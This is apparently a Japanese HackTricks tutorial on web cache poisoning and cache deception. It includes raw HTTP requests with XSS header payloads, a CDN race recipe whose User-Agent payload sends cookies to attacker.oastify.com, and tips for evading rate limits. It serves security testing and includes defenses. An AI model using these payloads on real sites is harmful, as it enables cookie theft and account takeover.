キャッシュポイズニングとキャッシュデセプション
Reading time: 27 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
違い
ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか?
- ウェブキャッシュポイズニングでは、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。
- ウェブキャッシュデセプションでは、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
キャッシュポイズニング
キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の範囲は、影響を受けるページの人気に依存し、汚染されたレスポンスは、キャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。
キャッシュポイズニング攻撃の実行にはいくつかのステップがあります:
- キーなし入力の特定:これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
- キーなし入力の悪用:キーなし入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータを誤用する方法を考えることです。
- 汚染されたレスポンスがキャッシュされることを確認:最終ステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
発見:HTTPヘッダーを確認
通常、レスポンスがキャッシュに保存された場合、それを示すヘッダーがあります。どのヘッダーに注意を払うべきかは、この投稿で確認できます:HTTPキャッシュヘッダー。
発見:キャッシュエラーコード
レスポンスがキャッシュに保存されていると考えている場合、不正なヘッダーでリクエストを送信してみることができます。これにはステータスコード400で応答されるべきです。その後、リクエストに通常アクセスして、レスポンスが400ステータスコードであれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。
さらにオプションを見つけることができます:
ただし、これらの種類のステータスコードがキャッシュされないこともあるため、このテストは信頼できない可能性があります。
発見:キーなし入力を特定し評価する
Param Minerを使用して、ページのレスポンスを変更する可能性のあるパラメータやヘッダーをブルートフォースすることができます。たとえば、ページがX-Forwarded-For
ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
バックエンドサーバーから有害な応答を引き出す
パラメータ/ヘッダーが特定されたら、それがどのようにサニタイズされているか、またどこで応答に反映されているかを確認します。これを悪用することはできますか(XSSを実行する、またはあなたが制御するJSコードを読み込む?DoSを実行する?...)
応答をキャッシュする
悪用できるページを特定し、使用するパラメータ/ヘッダーと悪用方法が決まったら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
応答のヘッダー**X-Cache
は非常に役立つ可能性があります。リクエストがキャッシュされていない場合はmiss
の値を持ち、キャッシュされている場合はhit
の値を持ちます。
ヘッダーCache-Control
**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: Cache-Control: public, max-age=1800
もう一つの興味深いヘッダーは**Vary
です。このヘッダーは、通常はキーが付けられていない追加のヘッダーをキャッシュキーの一部として示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者のUser-Agent
を知っている場合、特定のUser-Agent
を使用するユーザーのためにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダーは**Age
**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
リクエストをキャッシュする際は、使用するヘッダーに注意してください。いくつかのヘッダーは予期せずキーとして使用される可能性があり、被害者はその同じヘッダーを使用する必要があります。常に異なるブラウザでキャッシュポイズニングをテストして、機能しているか確認してください。
悪用の例
最も簡単な例
X-Forwarded-For
のようなヘッダーが、サニタイズされずに応答に反映されています。
基本的なXSSペイロードを送信し、キャッシュを汚染することで、そのページにアクセスするすべての人がXSSされることになります:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note that this will poison a request to /en?region=uk
not to /en
Cache poisoning to DoS
Cache poisoning through CDNs
この解説 では、以下のシンプルなシナリオが説明されています:
- CDNは
/share/
以下のすべてをキャッシュします。 - CDNは
%2F..%2F
をデコードまたは正規化しないため、キャッシュされる他の機密情報にアクセスするためのパストラバーサルとして使用できます。例えば、https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
のように。 - ウェブサーバーは
%2F..%2F
をデコードおよび正規化し、/api/auth/session
で応答します。これには認証トークンが含まれています。
Using web cache poisoning to exploit cookie-handling vulnerabilities
クッキーはページの応答に反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュ応答を読み込む複数のクライアントでXSSを利用できる可能性があります。
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
注意:脆弱なクッキーがユーザーによって非常に使用されている場合、通常のリクエストがキャッシュをクリアします。
デリミタ、正規化、ドットを使用して不一致を生成する
確認してください:
Cache Poisoning via URL discrepancies
APIキーを盗むためのパストラバーサルによるキャッシュポイズニング
この解説は https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。/share/*
に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。
これは以下でもより詳しく説明されています:
Cache Poisoning via URL discrepancies
複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する
時には、キャッシュを悪用するために複数のキーなし入力を悪用する必要があります。例えば、X-Forwarded-Host
をあなたが制御するドメインに設定し、X-Forwarded-Scheme
をhttp
に設定すると、オープンリダイレクトを見つけることができるかもしれません。もしサーバーがすべてのHTTPリクエストをHTTPSに転送し、リダイレクトのドメイン名としてヘッダーX-Forwarded-Scheme
を使用している場合、リダイレクトによってページが指す場所を制御できます。
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
限定された Vary
ヘッダーを利用した攻撃
もし X-Host
ヘッダーが JSリソースを読み込むためのドメイン名 として使用されているが、レスポンスの Vary
ヘッダーが User-Agent
を示している場合、被害者のUser-Agentを抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
ポートスウィガーのラボについて: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
パラメータクロッキング
例えば、パラメータをrubyサーバーで**;
の文字を使って&
**の代わりに分けることが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。
HTTPリクエストスマグリングを悪用したHTTPキャッシュポイズニングの悪用
HTTPリクエストスマグリングを悪用したキャッシュポイズニング攻撃の実行方法についてここで学びます。
ウェブキャッシュポイズニングの自動テスト
Web Cache Vulnerability Scannerを使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
使用例: wcvs -u example.com
ヘッダーリフレクションXSS + CDN/WAF支援キャッシュシーディング(User-Agent、自動キャッシュされた.js)
この実世界のパターンは、ヘッダーに基づくリフレクションプリミティブとCDN/WAFの動作を組み合わせて、他のユーザーに提供されるキャッシュされたHTMLを確実にポイズンします:
- メインHTMLは信頼できないリクエストヘッダー(例:
User-Agent
)を実行可能なコンテキストに反映しました。 - CDNはキャッシュヘッダーを削除しましたが、内部/オリジンキャッシュが存在しました。CDNはまた、静的拡張子(例:
.js
)で終わるリクエストを自動的にキャッシュしましたが、WAFは静的アセットのGETに対して弱いコンテンツ検査を適用しました。 - リクエストフローの特異性により、
.js
パスへのリクエストが次のメインHTMLに使用されるキャッシュキー/バリアントに影響を与え、ヘッダーリフレクションを介してクロスユーザーXSSを可能にしました。
実用的なレシピ(人気のあるCDN/WAFで観察された):
- クリーンなIPから(以前の評判に基づくダウングレードを避けるため)、ブラウザまたはBurp Proxy Match & Replaceを介して悪意のある
User-Agent
を設定します。 - Burp Repeaterで、2つのリクエストのグループを準備し、「グループを並行して送信」を使用します(シングルパケットモードが最適です):
- 最初のリクエスト:同じオリジンの
.js
リソースパスをGETし、悪意のあるUser-Agent
を送信します。 - すぐに:メインページ(
/
)をGETします。
- CDN/WAFのルーティングレースと自動キャッシュされた
.js
が、同じキャッシュキー条件(例:同じVary
次元のUser-Agent
)を共有する他の訪問者に提供されるポイズンされたキャッシュHTMLバリアントをシードすることがよくあります。
例のヘッダーペイロード(HttpOnlyでないクッキーを抽出するため):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
運用のヒント:
- 多くのCDNはキャッシュヘッダーを隠します; 毒性があるように見えるのは、数時間ごとのリフレッシュサイクルのみです。複数の視点IPを使用し、レート制限や評判トリガーを避けるためにスロットルをかけてください。
- CDNの自社クラウドからのIPを使用すると、ルーティングの一貫性が向上することがあります。
- 厳格なCSPが存在する場合でも、反射がメインHTMLコンテキストで実行され、CSPがインライン実行を許可するか、コンテキストによってバイパスされる場合は、これが機能します。
影響:
- セッションクッキーが
HttpOnly
でない場合、ゼロクリックATOが可能で、毒されたHTMLを提供されるすべてのユーザーからdocument.cookie
を大量に抽出することができます。
防御策:
- リクエストヘッダーをHTMLに反映させるのをやめてください; 避けられない場合は厳密にコンテキストエンコードしてください。CDNとオリジンのキャッシュポリシーを整合させ、信頼できないヘッダーでの変動を避けてください。
- WAFが
.js
リクエストと静的パスに対して一貫してコンテンツ検査を適用することを確認してください。 - セッションクッキーに
HttpOnly
(およびSecure
、SameSite
)を設定してください。
脆弱な例
Apache Traffic Server (CVE-2021-27577)
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントを無視)。したがって、リクエスト/#/../?r=javascript:alert(1)
はバックエンドに/#/../?r=javascript:alert(1)
として送信され、キャッシュキーにはペイロードが含まれていませんでした。
GitHub CP-DoS
content-typeヘッダーに不正な値を送信すると、405キャッシュレスポンスがトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。
GitLab + GCP CP-DoS
GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。GCPバケットは**ヘッダーx-http-method-override
**をサポートしています。したがって、ヘッダーx-http-method-override: HEAD
を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、PURGE
メソッドもサポートされていました。
Rack Middleware (Ruby on Rails)
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**x-forwarded-scheme
**ヘッダーの値をリクエストのスキームとして設定することです。ヘッダーx-forwarded-scheme: http
が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否(DoS)を引き起こす可能性があります。さらに、アプリケーションはX-forwarded-host
ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。
403とストレージバケット
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
キー付きパラメータの注入
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。たとえば、FastlyのVarnishはリクエストのsize
パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例:siz%65
)が誤った値で送信された場合、キャッシュキーは正しいsize
パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目のsize
パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
ユーザーエージェントルール
一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュの毒性やDoSなどの脆弱性を引き起こす可能性があります。
不正なヘッダーフィールド
RFC7230は、ヘッダー名における許可される文字を指定しています。指定されたtchar範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーはこの標準に常に従うわけではありません。注目すべき例はAkamaiであり、無効な文字を含むヘッダーを転送し、cache-control
ヘッダーが存在しない限り、400エラーをキャッシュします。不正な文字(例:\
)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
新しいヘッダーの発見
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
キャッシュの欺瞞
キャッシュの欺瞞の目的は、クライアントに機密情報を持つリソースをキャッシュに保存させることです。
まず、拡張子(.css、.js、.pngなど)は通常キャッシュに保存されるように設定されています。したがって、www.example.com/profile.php/nonexistent.js
にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、.js
の拡張子を見ているからです。しかし、アプリケーションが_ www.example.com/profile.php_に保存された機密ユーザーコンテンツでリプレイしている場合、他のユーザーからそのコンテンツを盗むことができます。
他にテストすること:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- あまり知られていない拡張子(例:
.avif
)を使用する
非常に明確な例は、この書き込みに見つけることができます: https://hackerone.com/reports/593712。
この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、http://www.example.com/home.php(ユーザーの機密情報を含む)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。
その後、攻撃者は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの機密情報を観察できます。
キャッシュプロキシは、ファイルの拡張子(.css)に基づいてファイルをキャッシュするように設定されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待されるtext/css
MIMEタイプの代わりにtext/html
コンテンツタイプを持ちます。
ここで、HTTPリクエストスムージングを悪用したキャッシュの欺瞞攻撃の実行方法について学びましょう。
自動ツール
- toxicache: URLのリストでウェブキャッシュ毒性脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。
参考文献
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。